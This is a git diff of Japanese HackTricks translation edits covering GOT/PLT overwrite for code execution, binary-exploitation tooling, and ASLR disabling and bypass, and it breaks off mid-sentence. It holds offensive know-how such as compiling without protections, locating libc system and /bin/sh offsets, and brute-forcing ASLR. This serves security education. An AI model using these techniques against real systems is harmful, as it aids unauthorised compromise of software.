-[**WebSec**](https://websec.nl)は、**アムステルダム**を拠点とするプロフェッショナルなサイバーセキュリティ企業で、**現代的なアプローチ**でビジネスを**世界中**の最新のサイバーセキュリティ脅威から保護するのを支援します。 +[**WebSec**](https://websec.nl) は、**アムステルダム**に拠点を置くプロフェッショナルなサイバーセキュリティ企業であり、**現代的なアプローチ**でビジネスを**世界中**の最新のサイバーセキュリティ脅威から保護するのを支援します。 -WebSecは**すべてを手掛けるセキュリティ企業**であり、ペンテスト、**セキュリティ**監査、意識向上トレーニング、フィッシングキャンペーン、コードレビュー、エクスプロイト開発、セキュリティエキスパートの外部委託などを提供しています。 +WebSecは**すべてを含むセキュリティ企業**であり、ペンテスト、**セキュリティ**監査、意識向上トレーニング、フィッシングキャンペーン、コードレビュー、エクスプロイト開発、セキュリティエキスパートの外部委託など、すべてを行います。 -WebSecのもう1つの素晴らしい点は、業界平均とは異なり、WebSecは**自分たちのスキルに非常に自信**を持っており、彼らのウェブサイトには「**ハックできなければ、支払いは不要です!**」と記載されています。詳細については、彼らの[**ウェブサイト**](https://websec.nl/en/)と[**ブログ**](https://websec.nl/blog/)をご覧ください! +WebSecのもう1つの素晴らしい点は、業界平均とは異なり、WebSecは**自分たちのスキルに非常に自信を持って**おり、そのスキルの最高の品質の結果を保証しています。彼らのウェブサイトには「**ハックできない場合、支払いは不要です!**」と記載されています。詳細については、彼らの[**ウェブサイト**](https://websec.nl/en/)と[**ブログ**](https://websec.nl/blog/)をご覧ください! -上記に加えて、WebSecはHackTricksの**熱心な支持者**でもあります。 +上記に加えて、WebSecは**HackTricksの熱心な支持者**でもあります。 {% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %} ### [WhiteIntel](https://whiteintel.io) -
+
-[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を活用した検索エンジンで、企業やその顧客が**スティーラーマルウェア**によって**侵害**されていないかをチェックする**無料**機能を提供しています。 +[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を活用した検索エンジンで、企業や顧客が**盗難マルウェア**によって**侵害**されていないかをチェックする**無料**の機能を提供しています。 WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。 -彼らのウェブサイトをチェックし、**無料**でエンジンを試すことができます: +彼らのウェブサイトをチェックして、彼らのエンジンを**無料**で試すことができます: {% embed url="https://whiteintel.io" %} ## ライセンスと免責事項 -彼らをチェックしてください: +以下で確認してください: {% content-ref url="welcome/hacktricks-values-and-faq.md" %} [hacktricks-values-and-faq.md](welcome/hacktricks-values-and-faq.md) @@ -150,9 +150,9 @@ WhiteIntelの主な目標は、情報窃取マルウェアによるアカウン HackTricksをサポートする他の方法: * **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手してください -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください -* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** -* **ハッキングトリックを共有するために、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 +* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローする。** +* **ハッキングトリックを共有するために、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。 diff --git a/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md b/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md index 8d921a649..afe1be26a 100644 --- a/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md +++ b/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md @@ -2,15 +2,15 @@
-ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) +ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) HackTricksをサポートする他の方法: * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを見る +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見る * **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。** -* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する +* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。
@@ -18,49 +18,49 @@ HackTricksをサポートする他の方法: ### **GOT: Global Offset Table** -**Global Offset Table (GOT)** は、動的リンクされたバイナリで**外部関数のアドレスを管理するメカニズム**です。これらの**アドレスは実行時までわからない**ため(動的リンクのため)、GOTはこれらの外部シンボルのアドレスを**動的に更新する方法**を提供します。 +**Global Offset Table (GOT)** は、動的リンクされたバイナリで**外部関数のアドレスを管理する**ために使用されるメカニズムです。これらの**アドレスは実行時にはわかりません**(動的リンクのため)、GOTはこれらの外部シンボルのアドレスを**解決した後に動的に更新する方法**を提供します。 -GOTの各エントリは、バイナリが呼び出す可能性のある外部ライブラリのシンボルに対応しています。**関数が最初に呼び出されると、動的リンカによって実際のアドレスが解決され、GOTに格納されます**。同じ関数への後続の呼び出しでは、GOTに格納されたアドレスが使用され、アドレスを再度解決するオーバーヘッドが回避されます。 +GOTの各エントリは、バイナリが呼び出す可能性のある外部ライブラリのシンボルに対応します。**関数が最初に呼び出されると、その実際のアドレスが動的リンカによって解決され、GOTに格納されます**。同じ関数への後続の呼び出しでは、GOTに格納されたアドレスが使用され、アドレスを再度解決するオーバーヘッドが回避されます。 ### **PLT: Procedure Linkage Table** -**Procedure Linkage Table (PLT)** はGOTと密接に連携し、外部関数への呼び出しを処理するトランポリンとして機能します。バイナリが**外部関数を最初に呼び出すと、その関数に関連するPLTエントリに制御が渡されます**。このPLTエントリは、関数のアドレスがまだ解決されていない場合に動的リンカを呼び出してアドレスを解決する責任があります。アドレスが解決された後、それは**GOT**に格納されます。 +**Procedure Linkage Table (PLT)** はGOTと密接に連携し、外部関数への呼び出しを処理するトランポリンとして機能します。バイナリが**外部関数を最初に呼び出すと、その関数に関連するPLTのエントリに制御が渡されます**。このPLTエントリは、関数のアドレスがまだ解決されていない場合に、動的リンカを呼び出してアドレスを解決する責任があります。アドレスが解決された後、それは**GOT**に格納されます。 -**したがって、**外部関数や変数のアドレスが解決されると、GOTエントリが直接使用されます。**PLTエントリは、**これらのアドレスの初期解決**を動的リンカを介して容易にするために使用されます。 +**したがって、**外部関数や変数のアドレスが解決されると、GOTエントリが直接使用されます。**PLTエントリは、これらのアドレスの初期解決**を動的リンカを介して容易にするために使用されます。 ## 実行を取得 ### GOTを確認する -**`objdump -s -j .got ./exec`** を使用してGOTテーブルへのアドレスを取得します +**`objdump -s -j .got ./exec`** を使用してGOTテーブルへのアドレスを取得します。 -![](<../../.gitbook/assets/image (118).png>) +![](<../../.gitbook/assets/image (121).png>) GEFで**実行可能ファイル**を**ロード**した後、**GOTにある関数**を**見る**ことができます:`gef➤ x/20x 0xDIR_GOT` ![](<../../.gitbook/assets/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>) -GEFを使用して**デバッグ**セッションを開始し、**`got`**を実行してGOTテーブルを表示できます: +GEFを使用して**デバッグ**セッションを開始し、**`got`** を実行してGOTテーブルを表示できます: -![](<../../.gitbook/assets/image (493).png>) +![](<../../.gitbook/assets/image (496).png>) ### GOT2Exec -バイナリ内のGOTには、**関数のアドレスまたは**関数アドレスをロードする**PLT**セクションへのアドレスが含まれています。この任意の書き込みの目標は、後で**`system`** **関数のPLTのアドレス**である**関数のGOTエントリを上書きする**ことです。 +バイナリ内のGOTには、**関数のアドレスまたは**後で実行される**PLT**セクションへの**アドレス**が含まれています。この任意の書き込みの目標は、後で**実行される関数のGOTエントリ**を**`system`** **関数のPLTのアドレス**に**上書きする**ことです。 理想的には、**制御可能なパラメータで呼び出される関数**の**GOT**を**上書き**します(したがって、システム関数に送信されるパラメータを制御できます)。 -**`system`** **がスクリプトで使用されていない**場合、システム関数にはPLTにエントリがありません。このシナリオでは、まず`system`関数のアドレスをリークしてから、GOTをこのアドレスを指すように上書きする必要があります。 +**`system`** **がスクリプトで使用されていない**場合、システム関数にはPLTにエントリがありません。このシナリオでは、まず`system`関数のアドレスをリークしてから、GOTをそのアドレスを指すように上書きする必要があります。 -**`objdump -j .plt -d ./vuln_binary`** を使用してPLTアドレスを確認できます +**`objdump -j .plt -d ./vuln_binary`** でPLTのアドレスを確認できます。 ## libcのGOTエントリ -**libcのGOT**は通常、**部分的なRELRO**でコンパイルされており、そのアドレスを特定できれば([**ASLR**](../common-binary-protections-and-bypasses/aslr/))この攻撃の良いターゲットになります。 +**libcのGOT**は通常、**部分的なRELRO**でコンパイルされており、そのアドレスを特定できれば([**ASLR**](../common-binary-protections-and-bypasses/aslr/))この攻撃の対象となります。 libcの一般的な関数は、コード実行を取得するために上書きできるように、他の内部関数を呼び出すことがあります。 -[**このテクニックについての詳細はこちら**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries)を見つけてください。 +[**このテクニックについての詳細はこちら**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries)を参照してください。 ## **One Gadget** @@ -70,7 +70,7 @@ libcの一般的な関数は、コード実行を取得するために上書き ## **保護** -**Full RELRO** 保護は、バイナリが起動されるとすべての関数のアドレスを解決し、その後**GOTテーブルを読み取り専用**にすることで、この種のテクニックに対抗するために意図されています: +**Full RELRO** 保護は、バイナリが起動されるとすべての関数のアドレスを解決し、**GOTテーブルを読み取り専用**にすることで、この種のテクニックに対抗するために意図されています: {% content-ref url="../common-binary-protections-and-bypasses/relro.md" %} [relro.md](../common-binary-protections-and-bypasses/relro.md) @@ -83,14 +83,14 @@ libcの一般的な関数は、コード実行を取得するために上書き
-ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) +ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) HackTricksをサポートする他の方法: * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを見る +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見る * **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。** -* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する +* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。
diff --git a/binary-exploitation/basic-binary-exploitation-methodology/tools/README.md b/binary-exploitation/basic-binary-exploitation-methodology/tools/README.md index 329ef3d08..d433e176f 100644 --- a/binary-exploitation/basic-binary-exploitation-methodology/tools/README.md +++ b/binary-exploitation/basic-binary-exploitation-methodology/tools/README.md @@ -2,15 +2,15 @@
-ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) +ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) -HackTricksをサポートする他の方法: +HackTricks をサポートする他の方法: -* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**@hacktricks\_live**をフォローする -* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。** +* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! +* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見する +* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass) に参加するか、**Twitter** 🐦 で **@hacktricks\_live** をフォローする +* **ハッキングトリックを共有するためにPRを送信して** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリに
@@ -90,7 +90,7 @@ x/i $eip # Instructions of the EIP ``` ### [GEF](https://github.com/hugsy/gef) -[**GEFのこのフォーク**](https://github.com/bata24/gef)を使用することもできます。これにはより興味深い命令が含まれています。 +[**このGEFのフォーク**](https://github.com/bata24/gef)を使用することもできます。これにはより興味深い命令が含まれています。 ```bash help memory # Get help on memory command canary # Search for canary value in memory @@ -135,19 +135,19 @@ gef➤ pattern search 0x6261617762616176 ``` ### テクニック -#### GDBでの同じアドレス +#### GDBで同じアドレス -デバッグ中には、GDBは**実行時にバイナリが使用するアドレスとはわずかに異なる場合があります。** GDBに同じアドレスを持たせるには、次のようにします: +デバッグ中には、GDBは**実行時にバイナリで使用されるアドレスとはわずかに異なる場合があります。** GDBに同じアドレスを持たせるには、次のようにします: -* `unset env LINES` -* `unset env COLUMNS` -* `set env _=` _バイナリの絶対パスを入力します_ -* 同じ絶対パスを使用してバイナリをエクスプロイトします -* GDBを使用するときとバイナリをエクスプロイトするときには、`PWD`と`OLDPWD`が同じである必要があります +- `unset env LINES` +- `unset env COLUMNS` +- `set env _=` _バイナリへの絶対パスを入力します_ +- 同じ絶対パスを使用してバイナリをエクスプロイトします +- GDBを使用しているときとバイナリをエクスプロイトしているときには、`PWD`と`OLDPWD`が同じである必要があります #### 関数呼び出しを見つけるためのバックトレース -**静的リンクされたバイナリ**の場合、すべての関数はバイナリに属しています(外部ライブラリではありません)。この場合、**バイナリがユーザー入力を要求するためにたどるフローを特定するのは難しい**かもしれません。\ +**静的にリンクされたバイナリ**の場合、すべての関数はバイナリに属しています(外部ライブラリではありません)。この場合、**バイナリがユーザー入力を要求するためにたどるフローを特定するのは難しい**でしょう。\ **gdb**を使用してバイナリを実行し、入力を求められるまで実行します。その後、**CTRL+C**で停止し、**`bt`**(**バックトレース**)コマンドを使用して呼び出された関数を確認できます: ``` gef➤ bt @@ -165,11 +165,11 @@ gef➤ bt ### スタックオフセットの検索 -**Ghidra** は、**ローカル変数の位置に関する情報**によって、**バッファオーバーフローのオフセットを見つけるのに非常に役立ちます。**\ -たとえば、以下の例では、`local_bc` でのバッファフローは、`0xbc` のオフセットが必要であることを示しています。さらに、`local_10` がキャナリークッキーである場合、`local_bc` からそれを上書きするためのオフセットは `0xac` であることを示しています。\ +**Ghidra** は、**ローカル変数の位置情報によってバッファオーバーフローのための** **オフセット** を見つけるのに非常に役立ちます。\ +たとえば、以下の例では、`local_bc` でのバッファフローは、`0xbc` のオフセットが必要であることを示しています。さらに、`local_10` がキャナリーコンキーである場合、`local_bc` からそれを上書きするためのオフセットは `0xac` であることを示しています。\ _RIP が保存される最初の 0x08 が RBP に属していることを覚えておいてください。_ -![](<../../../.gitbook/assets/image (1058).png>) +![](<../../../.gitbook/assets/image (1061).png>) ## qtool ```bash @@ -179,13 +179,13 @@ qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog ## GCC -**gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> 保護機能を無効にしてコンパイル\ +**gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> 保護を無効にしてコンパイル\ **-o** --> 出力\ **-g** --> コードを保存(GDB で表示可能)\ -**echo 0 > /proc/sys/kernel/randomize\_va\_space** --> Linux で ASLR を無効化 +**echo 0 > /proc/sys/kernel/randomize\_va\_space** --> Linux で ASLR を無効にする **シェルコードをコンパイルする方法:**\ -**nasm -f elf assembly.asm** --> ".o" ファイルを返す\ +**nasm -f elf assembly.asm** --> ".o" を返す\ **ld assembly.o -o shellcodeout** --> 実行可能ファイル ## Objdump @@ -198,7 +198,7 @@ qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog **-s -j .got** --> got セクション\ \-D -s -j .plt --> plt セクションを逆コンパイル\ **-TR** --> リロケーション\ -**ojdump -t --dynamic-relo ./exec | grep puts** --> GOT 内の "puts" のアドレスを変更するためのアドレス\ +**ojdump -t --dynamic-relo ./exec | grep puts** --> GOT 内の "puts" の変更するアドレス\ **objdump -D ./exec | grep "VAR\_NAME"** --> 静的変数のアドレス(これらは DATA セクションに保存されます)。 ## Core dumps @@ -207,9 +207,9 @@ qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog 2. `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t` を実行します 3. `sudo gdb --core=\ --quiet` を実行します -## More +## その他 -**ldd executable | grep libc.so.6** --> アドレス(ASLR の場合、これは毎回変わります)\ +**ldd executable | grep libc.so.6** --> アドレス(ASLR の場合、毎回変わります)\ **for i in \`seq 0 20\`; do ldd \ | grep libc; done** --> アドレスが大幅に変化するかどうかを確認するためのループ\ **readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> "system" のオフセット\ **strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> "/bin/sh" のオフセット @@ -226,24 +226,22 @@ qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog ### リモートLinuxでのデバッグ -IDAフォルダー内には、Linux内のバイナリをデバッグするために使用できるバイナリが含まれています。これを行うには、`linux_server`または`linux_server64`バイナリをLinuxサーバー内に移動し、バイナリが含まれるフォルダー内で実行します: +IDAフォルダの中には、Linux内のバイナリをデバッグするために使用できるバイナリが含まれています。これを行うには、`linux_server`または`linux_server64`バイナリをLinuxサーバー内に移動し、バイナリが含まれるフォルダ内で実行します。 ``` ./linux_server64 -Ppass ``` -Debugger (linux remote) --> プロセスのオプション...を構成します: +その後、デバッガーを設定します:デバッガー(linux remote)→プロセスオプション...: -![](<../../../.gitbook/assets/image (855).png>) +![](<../../../.gitbook/assets/image (858).png>)
-htARTE(HackTricks AWS Red Team Expert) でゼロからヒーローまでAWSハッキングを学ぶ +htARTE(HackTricks AWS Red Team Expert)でゼロからヒーローまでAWSハッキングを学ぶ -HackTricks をサポートする他の方法: +HackTricksをサポートする他の方法: -* **会社を HackTricks で宣伝したい** または **HackTricks を PDF でダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! -* [**公式の PEASS & HackTricks スワッグ**](https://peass.creator-spring.com) を手に入れる -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける -* 💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live) をフォローする -* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の github リポジトリに PR を提出して、あなたのハッキングテクニックを共有してください。 - -
+* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける +* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)を**フォロー**する +* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。 diff --git a/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md b/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md index c7ba09e8f..b38145b94 100644 --- a/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md +++ b/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md @@ -6,25 +6,25 @@ HackTricks をサポートする他の方法: -* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! +* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手してください -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見してください -* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live) をフォローしてください。 -* **ハッキングトリックを共有するためにPRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のgithubリポジトリに提出してください。** +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください +* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で **@hacktricks\_live**をフォローしてください**.** +* **ハッキングトリックを共有するためにPRを送信して** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリに貢献してください。 ## 基本情報 -**アドレススペースレイアウトランダム化(ASLR)** は、オペレーティングシステムで使用されるセキュリティ技術で、システムおよびアプリケーションプロセスが使用するメモリアドレスを**ランダム化**するものです。これにより、特定のプロセスやデータ(スタック、ヒープ、ライブラリなど)の場所を予測することが非常に困難になり、特にバッファオーバーフローなどの特定の種類のエクスプロイトを軽減します。 +**アドレススペースレイアウトランダム化(ASLR)**は、オペレーティングシステムで使用されるセキュリティ技術で、システムおよびアプリケーションプロセスで使用されるメモリアドレスを**ランダム化**します。これにより、特定のプロセスやデータ(スタック、ヒープ、ライブラリなど)の場所を予測することが非常に困難になり、特にバッファオーバーフローなどの特定の種類のエクスプロイトを軽減します。 ### **ASLRステータスの確認** -LinuxシステムでASLRステータスを**確認**するには、**`/proc/sys/kernel/randomize_va_space`** ファイルから値を読み取ることができます。このファイルに格納されている値は、適用されているASLRのタイプを決定します: +LinuxシステムでASLRステータスを**確認**するには、**`/proc/sys/kernel/randomize_va_space`**ファイルから値を読み取ります。このファイルに格納されている値は、適用されているASLRのタイプを決定します: * **0**: ランダム化なし。すべてが静的です。 * **1**: 保守的なランダム化。共有ライブラリ、スタック、mmap()、VDSOページがランダム化されます。 -* **2**: 完全なランダム化。保守的なランダム化によってランダム化される要素に加えて、`brk()` を介して管理されるメモリもランダム化されます。 +* **2**: 完全なランダム化。保守的なランダム化によってランダム化される要素に加えて、`brk()`を介して管理されるメモリもランダム化されます。 次のコマンドでASLRステータスを確認できます: ```bash @@ -32,34 +32,34 @@ cat /proc/sys/kernel/randomize_va_space ``` ### **ASLRの無効化** -ASLRを**無効**にするには、`/proc/sys/kernel/randomize_va_space`の値を**0**に設定します。ASLRを無効にすることは、通常、テストやデバッグシナリオ以外では推奨されていません。以下は、ASLRを無効にする方法です: +ASLRを**無効化**するには、`/proc/sys/kernel/randomize_va_space`の値を**0**に設定します。ASLRを無効にすることは、通常、テストやデバッグシナリオ以外では推奨されません。以下は、無効化する方法です: ```bash echo 0 | sudo tee /proc/sys/kernel/randomize_va_space ``` -ASLRを無効にするには、次のように実行できます: +次のようにして、実行時にASLRを無効にすることもできます: ```bash setarch `arch` -R ./bin args setarch `uname -m` -R ./bin args ``` ### **ASLRの有効化** -ASLRを**有効化**するには、`/proc/sys/kernel/randomize_va_space`ファイルに値**2**を書き込むことができます。通常、ルート権限が必要です。完全なランダム化を有効にするには、次のコマンドを使用します: +ASLRを**有効化**するには、`/proc/sys/kernel/randomize_va_space`ファイルに値**2**を書き込むことができます。通常、ルート権限が必要です。完全なランダム化を有効にするには、次のコマンドを使用します: ```bash echo 2 | sudo tee /proc/sys/kernel/randomize_va_space ``` ### **再起動時の持続性** -`echo`コマンドで行った変更は一時的であり、再起動時にリセットされます。変更を持続させるには、`/etc/sysctl.conf`ファイルを編集し、以下の行を追加または変更する必要があります。 +`echo`コマンドで行った変更は一時的で、再起動時にリセットされます。変更を持続させるには、`/etc/sysctl.conf`ファイルを編集し、以下の行を追加または変更する必要があります: ```tsconfig kernel.randomize_va_space=2 # Enable ASLR # or kernel.randomize_va_space=0 # Disable ASLR ``` -`/etc/sysctl.conf`を編集した後、次のコマンドを使用して変更を適用します: +`/etc/sysctl.conf`を編集した後、次のコマンドを使用して変更を適用します: ```bash sudo sysctl -p ``` -これにより、ASLR設定が再起動時に維持されます。 +これにより、ASLR設定が再起動時にも維持されます。 ## **バイパス** @@ -67,30 +67,30 @@ sudo sysctl -p PaXはプロセスのアドレス空間を**3つのグループ**に分割します: -* **コードとデータ**(初期化されたものと初期化されていないもの):`.text`、`.data`、および`.bss` —> `delta_exec`変数に**16ビット**のエントロピーがあります。この変数は各プロセスでランダムに初期化され、初期アドレスに追加されます。 -* `mmap()`によって割り当てられた**メモリ**および**共有ライブラリ** —> **16ビット**、`delta_mmap`と呼ばれます。 -* **スタック** —> **24ビット**、`delta_stack`と呼ばれます。ただし、実際には**11ビット**(10番目から20番目のバイトを含む)が使用され、**16バイト**に整列されます —> これにより**524,288個の可能な実際のスタックアドレス**が得られます。 +* **コードとデータ**(初期化されたものと初期化されていないもの): `.text`、`.data`、および`.bss` —> `delta_exec`変数に**16ビット**のエントロピーがあります。この変数は各プロセスでランダムに初期化され、初期アドレスに追加されます。 +* `mmap()`によって割り当てられた**メモリ**と**共有ライブラリ** —> **16ビット**、`delta_mmap`と呼ばれます。 +* **スタック** —> **24ビット**、`delta_stack`と呼ばれます。ただし、実際には**11ビット**(10番目から20番目のバイトを含む)を使用し、**16バイト**に整列されます —> これにより**524,288個の可能な実際のスタックアドレス**が得られます。 -前述のデータは32ビットシステム向けであり、削減された最終エントロピーにより、ASLRをバイパスすることが可能になります。攻撃が成功するまで実行を繰り返すことで、ASLRをバイパスすることができます。 +前述のデータは32ビットシステム向けであり、最終的なエントロピーの削減により、ASLRをバイパスすることが可能になります。攻撃が成功するまで、実行を繰り返すことで、ASLRをバイパスすることができます。 #### ブルートフォースのアイデア: * **シェルコードの前に大きなNOPスレッドをホストするほどのオーバーフローがある場合**、スタック上のアドレスをブルートフォースして、フローが**NOPスレッドの一部を飛び越える**まで繰り返すことができます。 -* オーバーフローがそれほど大きくなく、攻撃をローカルで実行できる場合、**環境変数にNOPスレッドとシェルコードを追加**することができます。 +* 